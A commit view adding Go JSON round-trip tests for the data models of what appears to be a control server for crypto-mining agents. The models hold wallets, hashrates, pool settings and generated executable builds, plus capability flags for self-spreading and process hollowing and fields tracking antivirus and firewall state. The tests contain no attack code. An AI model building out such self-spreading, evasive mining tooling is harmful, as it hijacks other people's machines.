feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
169
server/internal/models/agent_test.go
Normal file
169
server/internal/models/agent_test.go
Normal file
@@ -0,0 +1,169 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func roundTripJSON(t *testing.T, v any) {
|
||||
t.Helper()
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
ptr := newSameType(v)
|
||||
if err := json.Unmarshal(b, ptr); err != nil {
|
||||
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
||||
}
|
||||
}
|
||||
|
||||
func newSameType(v any) any {
|
||||
switch v.(type) {
|
||||
case Agent:
|
||||
return &Agent{}
|
||||
case AgentService:
|
||||
return &AgentService{}
|
||||
case AgentCapabilities:
|
||||
return &AgentCapabilities{}
|
||||
case Share:
|
||||
return &Share{}
|
||||
case HashrateSample:
|
||||
return &HashrateSample{}
|
||||
case Job:
|
||||
return &Job{}
|
||||
case BuildRecord:
|
||||
return &BuildRecord{}
|
||||
default:
|
||||
panic("unsupported type")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentJSONRoundTrip(t *testing.T) {
|
||||
now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC)
|
||||
cpuFreq := 3200
|
||||
cpuMax := 4000
|
||||
throttle := true
|
||||
cpuTemp := 72
|
||||
diskFree := 120.5
|
||||
diskTotal := 512.0
|
||||
diskPct := 23
|
||||
gpuTemp := 65
|
||||
gpuUsage := 40
|
||||
ssh := true
|
||||
defender := true
|
||||
rtp := false
|
||||
fwDomain := true
|
||||
fwPrivate := false
|
||||
fwPublic := true
|
||||
patchDays := 14
|
||||
patch := "2026-05-01"
|
||||
pending := 3
|
||||
reboot := false
|
||||
elevated := true
|
||||
|
||||
agent := Agent{
|
||||
ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5",
|
||||
Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16,
|
||||
LastSeen: now, CreatedAt: now.Add(-time.Hour),
|
||||
Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150,
|
||||
SharesTotal: 100, SharesGood: 98, SharesBad: 2,
|
||||
CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600,
|
||||
Notes: "lab node", Tags: []string{"gpu", "windows"},
|
||||
Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200",
|
||||
Capabilities: &AgentCapabilities{
|
||||
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
||||
AutoSpread: false, ProcessHollowing: false, AIEnabled: true,
|
||||
},
|
||||
CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle,
|
||||
CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal,
|
||||
DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage,
|
||||
SSHAvailable: &ssh, PostureScore: 80,
|
||||
DefenderEnabled: &defender, DefenderRTP: &rtp,
|
||||
AVProducts: []string{"Windows Defender"},
|
||||
FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic,
|
||||
LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending,
|
||||
RebootPending: &reboot, AgentElevated: &elevated,
|
||||
Services: []AgentService{
|
||||
{Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"},
|
||||
},
|
||||
}
|
||||
roundTripJSON(t, agent)
|
||||
}
|
||||
|
||||
func TestAgentServiceJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, AgentService{
|
||||
Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual",
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, AgentCapabilities{
|
||||
HolePunch: true, RemoteAggressive: true, MeshP2P: true,
|
||||
AutoSpread: true, ProcessHollowing: true, AIEnabled: true,
|
||||
})
|
||||
}
|
||||
|
||||
func TestShareJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, Share{
|
||||
ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000,
|
||||
Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestShareJSONOmitsEmptyError(t *testing.T) {
|
||||
s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()}
|
||||
b, _ := json.Marshal(s)
|
||||
if string(b) != "" && containsField(string(b), "error") {
|
||||
// error field should be omitted when empty
|
||||
var m map[string]any
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["error"]; ok {
|
||||
t.Fatal("empty error should be omitted")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func containsField(jsonStr, field string) bool {
|
||||
var m map[string]any
|
||||
if err := json.Unmarshal([]byte(jsonStr), &m); err != nil {
|
||||
return false
|
||||
}
|
||||
_, ok := m[field]
|
||||
return ok
|
||||
}
|
||||
|
||||
func TestHashrateSampleJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, HashrateSample{
|
||||
ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, Job{
|
||||
ID: "job-1", Height: 2800000, Difficulty: 500000,
|
||||
BlockTemplate: "template", SeedHash: "seed", Target: "target",
|
||||
CreatedAt: time.Now().UTC(),
|
||||
})
|
||||
}
|
||||
|
||||
func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
roundTripJSON(t, BuildRecord{
|
||||
ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x",
|
||||
Threads: 4, FileSize: 1024, BundleSize: 2048,
|
||||
FilePath: "/data/build.exe", FileName: "build.exe",
|
||||
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
|
||||
CreatedAt: time.Now().UTC(), Pinned: true,
|
||||
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentMinimalJSON(t *testing.T) {
|
||||
var out Agent
|
||||
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != "x" || out.Status != "offline" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user